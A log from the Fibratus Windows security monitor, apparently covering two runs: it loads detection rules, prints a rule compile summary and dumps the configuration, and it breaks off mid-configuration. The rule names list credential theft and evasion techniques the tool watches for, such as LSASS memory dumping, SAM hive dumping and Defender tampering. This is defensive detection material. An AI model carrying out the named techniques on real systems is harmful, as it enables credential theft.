+time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T19:51:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_suspicious_child_process_integrity_level.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:51:47+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T19:51:47+01:00 level=info msg=bootstrapping with pid 14892. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T19:51:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html to=>[] port=>25 use-template=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-image=>true buffer-size=>512 enable-fileio=>true enable-mem=>false stack-enrichment=>true enable-audit-api=>true min-buffers=>16 enable-thread=>true enable-vamap=>true enable-threadpool=>false flush-interval=>1s enable-registry=>true enable-net=>true max-buffers=>36 enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 level=>info max-age=>0 formatter=>text log-stdout=>true max-size=>100] + output ......................... [ http=>[ timeout=>5s enabled=>false enable-gzip=>false method=>POST tls-insecure-skip-verify=>false serializer=>json endpoints=>[]] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ healthcheck-timeout=>5s gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s bulk-workers=>1 sniff=>false healthcheck=>true enabled=>false template-name=>fibratus trace-log=>false timeout=>5s index-name=>fibratus flush-period=>1s] amqp=>[ vhost=>/ tls-insecure-skip-verify=>false timeout=>5s routing-key=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 exchange=>fibratus enabled=>false passive=>false exchange-type=>topic durable=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ fastscan=>true skip-registry=>false skip-files=>false skip-allocs=>false enabled=>false excluded-files=>[] excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-04T19:51:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T19:51:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T19:57:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T19:57:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T19:57:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T19:57:28+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T19:57:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_suspicious_child_process_integrity_level.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T19:57:29+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T19:57:29+01:00 level=info msg=bootstrapping with pid 15872. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T19:57:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] content-type=>text/html enabled=>false use-template=>true port=>25] eventlog=>[ enabled=>true verbose=>true] 